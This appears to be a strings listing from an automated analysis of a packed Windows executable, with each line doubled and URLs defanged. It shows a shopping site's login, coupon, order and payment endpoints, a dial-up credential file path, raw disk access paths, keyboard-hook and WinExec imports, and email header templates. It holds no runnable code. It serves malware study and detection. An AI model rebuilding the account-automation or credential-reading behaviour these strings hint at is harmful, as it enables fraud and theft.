truePPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
truePPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING
6(636_6~6
6(636_6~6
8"9(92989
8"9(92989
4#4 4>425`5
4#4 4>425`5
7)7.737=7^7
7)7.737=7^7
3%4S4[4
3%4S4[4
%0H0{0A1V1=3
%0H0{0A1V1=3
8-9K9Y9}9
8-9K9Y9}9
6.646
6.646
9%9u9
9%9u9
01171>1|1
01171>1|1
3=3}3
3=3}3
7#7'7 7/737
7#7'7 7/737
2&3.363>3~3
2&3.363>3~3
6 6$686
6 6$686
> >$>(>,>
> >$>(>,>
1 1$1(1,101
1 1$1(1,101
:(:0:<:>
:(:0:<:>
4 4(404
4 4(404
1$10141
1$10141
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
http=
http=
https
https
hXXps://
hXXps://
hXXp://
hXXp://
Adodb.Stream
Adodb.Stream
meilishuo.com
meilishuo.com
hXXp://VVV.meilishuo.com/user/login
hXXp://VVV.meilishuo.com/user/login
hXXp://VVV.meilishuo.com/aj/doota/cart_number
hXXp://VVV.meilishuo.com/aj/doota/cart_number
login_name=
login_name=
hXXps://account.meilishuo.com/aw/user/logon
hXXps://account.meilishuo.com/aw/user/logon
MEILISHUO_GLOBAL_KEY=
MEILISHUO_GLOBAL_KEY=
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
hXXp://order.meilishuo.com/aj/doota/address_add
hXXp://order.meilishuo.com/aj/doota/address_add
hXXp://order.meilishuo.com/address/
hXXp://order.meilishuo.com/address/
rs.goods = {"id" : "
rs.goods = {"id" : "
hXXp://order.meilishuo.com/coupon/
hXXp://order.meilishuo.com/coupon/
&shop_coupon[0][coupon_id]=
&shop_coupon[0][coupon_id]=
&shop_coupon[0][shop_id]=
&shop_coupon[0][shop_id]=
&amount=1&color=颜色__
&amount=1&color=颜色__
.zz.6__0.1.1.3.r_hdtpairbuy.t_shop.abtest_1.ot_
.zz.6__0.1.1.3.r_hdtpairbuy.t_shop.abtest_1.ot_
&weixin_coupon=0&source=4-0.0.1&goods_pid=pc.
&weixin_coupon=0&source=4-0.0.1&goods_pid=pc.
hXXp://order.meilishuo.com/order/create/
hXXp://order.meilishuo.com/order/create/
&color=颜色__
&color=颜色__
.zz.&goods_id=
.zz.&goods_id=
hXXp://order.meilishuo.com/order/weixin_pay/?order_id=
hXXp://order.meilishuo.com/order/weixin_pay/?order_id=
Referer: hXXp://order.meilishuo.com/order/init/?goods_pid=pc.
Referer: hXXp://order.meilishuo.com/order/init/?goods_pid=pc.
hXXp://order.meilishuo.com/order/detail/?order_id=
hXXp://order.meilishuo.com/order/detail/?order_id=
VVV.baidu.com
VVV.baidu.com
hXXp://order.meilishuo.com/cart
hXXp://order.meilishuo.com/cart
hXXp://order.meilishuo.com/cart/del/
hXXp://order.meilishuo.com/cart/del/
source=5-0.0.1&goods_pid=wap.
source=5-0.0.1&goods_pid=wap.
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A405 Safari/8536.25
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A405 Safari/8536.25
hXXp://m.meilishuo.com/aw/doota/addToCarts
hXXp://m.meilishuo.com/aw/doota/addToCarts
hXXp://order.meilishuo.com/order?status=1
hXXp://order.meilishuo.com/order?status=1
%du2$"
%du2$"
.unOZ
.unOZ
hXXp://hi.baidu.com/vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd
hXXp://hi.baidu.com/vltgmwydinbabxq/item/7cd4bb31f0c2d21481f1a7cd
1645499
1645499
hXXp://VVV.meilishuo.com/share/item/
hXXp://VVV.meilishuo.com/share/item/
%S4WD
%S4WD
hg%fpM
hg%fpM
S.Ac9SR
S.Ac9SR
0.I%3s
0.I%3s
,wAe.kI
,wAe.kI
aiUy'4xu
aiUy'4xu
%c*@j
%c*@j
.eH'y
.eH'y
{&%U)
{&%U)
lj%4U
lj%4U
xe%CNs
xe%CNs
9F.cLe
9F.cLe
hJK.ZH
hJK.ZH
O.qt0
O.qt0
MSVCRT.dll
MSVCRT.dll
MSVFW32.dll
MSVFW32.dll
SkinH_EL.dll
SkinH_EL.dll
hXXp://VVV.ip138.com
hXXp://VVV.ip138.com
\Microsoft\Network\Connections\pbk\rasphone.pbk
\Microsoft\Network\Connections\pbk\rasphone.pbk
@PEAS.dll
@PEAS.dll
112891406)
112891406)
112891406
112891406
2014-09-09 01:12
2014-09-09 01:12
140909612861
140909612861
Adobe Photoshop CS4 Windows
Adobe Photoshop CS4 Windows
2014:09:09 01:08:18
2014:09:09 01:08:18
urlTEXT
urlTEXT
MsgeTEXT
MsgeTEXT
-hXXp://ns.adobe.com/xap/1.0/
-hXXp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?>
IEC hXXp://VVV.iec.ch
IEC hXXp://VVV.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
CRT curv
CRT curv
>1.2.18
>1.2.18
A inflate 1.1.3 Copyright 1995-1998 Mark Adler
A inflate 1.1.3 Copyright 1995-1998 Mark Adler
%*.*f
%*.*f
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
RASAPI32.dll
RASAPI32.dll
AVIFIL32.dll
AVIFIL32.dll
iphlpapi.dll
iphlpapi.dll
MPR.dll
MPR.dll
WS2_32.dll
WS2_32.dll
VERSION.dll
VERSION.dll
GetProcessHeap
GetProcessHeap
WinExec
WinExec
WLDAP32.dll
WLDAP32.dll
(*.prn)|*.prn|
(*.prn)|*.prn|
(*.*)|*.*||
(*.*)|*.*||
Mpr.dll
Mpr.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
: %d]
: %d]
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|BMP
(*.JPG)|*.JPG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
\\.\Scsi0:
\\.\Scsi0:
\\.\PhysicalDrive0
\\.\PhysicalDrive0
%s:%d
%s:%d
out.prn
out.prn
%d.%d
%d.%d
%d / %d
%d / %d
%d/%d
%d/%d
Bogus message code %d
Bogus message code %d
(%d-%d):
(%d-%d):
%ld%c
%ld%c
%s
%s
Reply-To: %s
Reply-To: %s
From: %s
From: %s
To: %s
To: %s
Subject: %s
Subject: %s
Date: %s
Date: %s
Cc: %s
Cc: %s
%a, %d %b %Y %H:%M:%S
%a, %d %b %Y %H:%M:%S
SMTP
SMTP
(*.avi)|*.avi
(*.avi)|*.avi
1.2.18
1.2.18
WPFT532.CNV
WPFT532.CNV
WPFT632.CNV
WPFT632.CNV
EXCEL32.CNV
EXCEL32.CNV
write32.wpc
write32.wpc
Windows Write
Windows Write
mswrd632.wpc
mswrd632.wpc
Word for Windows 6.0
Word for Windows 6.0
wword5.cnv
wword5.cnv
Word for Windows 5.0
Word for Windows 5.0
mswrd832.cnv
mswrd832.cnv
mswrd632.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
Word 6.0/95 for Windows & Macintosh
html32.cnv
html32.cnv
1.1.3
1.1.3
NULL row buffer for row %ld, pass %d
NULL row buffer for row %ld, pass %d
libpng error: %s
libpng error: %s
libpng error: %s, offset=%d
libpng error: %s, offset=%d
libpng error no. %s: %s
libpng error no. %s: %s
libpng warning: %s
libpng warning: %s
libpng warning no. %s: %s
libpng warning no. %s: %s
keywords
keywords
Unknown zTXt compression type %d
Unknown zTXt compression type %d
Incomplete compressed datastream in %s chunk
Incomplete compressed datastream in %s chunk
Data error in compressed datastream in %s chunk
Data error in compressed datastream in %s chunk
Buffer error in compressed datastream in %s chunk
Buffer error in compressed datastream in %s chunk
gamma = (%d/100000)
gamma = (%d/100000)
gx=%f, gy=%f, bx=%f, by=%f
gx=%f, gy=%f, bx=%f, by=%f
wx=%f, wy=%f, rx=%f, ry=%f
wx=%f, wy=%f, rx=%f, ry=%f
incorrect gamma=(%d/100000)
incorrect gamma=(%d/100000)
iTXt chunk not supported.
iTXt chunk not supported.
VVV.dywt.com.cn
VVV.dywt.com.cn
c:\%original file name%.exe
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
#include "l.chs\afxres.rc" // Standard components
SHELL32.DLL
SHELL32.DLL
dwmapi.dll
dwmapi.dll
UxTheme.dll
UxTheme.dll
accKeyboardShortcut
accKeyboardShortcut
hhctrl.ocx
hhctrl.ocx
USER32.DLL
USER32.DLL
RICHED20.DLL
RICHED20.DLL
ekernel32.dll
ekernel32.dll
mscoree.dll
mscoree.dll
- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
(*.*)
(*.*)
1, 0, 6, 6
1, 0, 6, 6
- Skin.dll
- Skin.dll
(*.*)
(*.*)
2.1.0.0
2.1.0.0
%original file name%.exe_1328_rwx_00401000_00101000:
t%SVh
t%SVh
t$(SSh
t$(SSh
~%UVW
~%UVW
u$SShe
u$SShe
%original file name%.exe_1328_rwx_10000000_0003E000:
`.rsrc
`.rsrc
L$(h%f
L$(h%f
SSh0j
SSh0j
msctls_hotkey32
msctls_hotkey32
TVCLHotKey
TVCLHotKey
THotKey
THotKey
\skinh.she
\skinh.she
}uo,x6l5k%x-l h
}uo,x6l5k%x-l h
9p%s m)t4`#b
9p%s m)t4`#b
e"m?c&y1`Ã
e"m?c&y1`Ã
SetViewportOrgEx
SetViewportOrgEx
SetViewportExtEx
SetViewportExtEx
SetWindowsHookExA
SetWindowsHookExA
UnhookWindowsHookEx
UnhookWindowsHookEx
EnumThreadWindows
EnumThreadWindows
EnumChildWindows
EnumChildWindows
`c%US.4/
`c%US.4/
!#$
!#$
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.UPX0
@.UPX0
`.UPX1
`.UPX1
`.reloc
`.reloc
hJK.ZH
hJK.ZH
O.qt0
O.qt0
KERNEL32.DLL
KERNEL32.DLL
COMCTL32.dll
COMCTL32.dll
GDI32.dll
GDI32.dll
MSIMG32.dll
MSIMG32.dll
MSVCRT.dll
MSVCRT.dll
MSVFW32.dll
MSVFW32.dll
USER32.dll
USER32.dll
SkinH_EL.dll
SkinH_EL.dll
1, 0, 6, 6
1, 0, 6, 6
- Skin.dll
- Skin.dll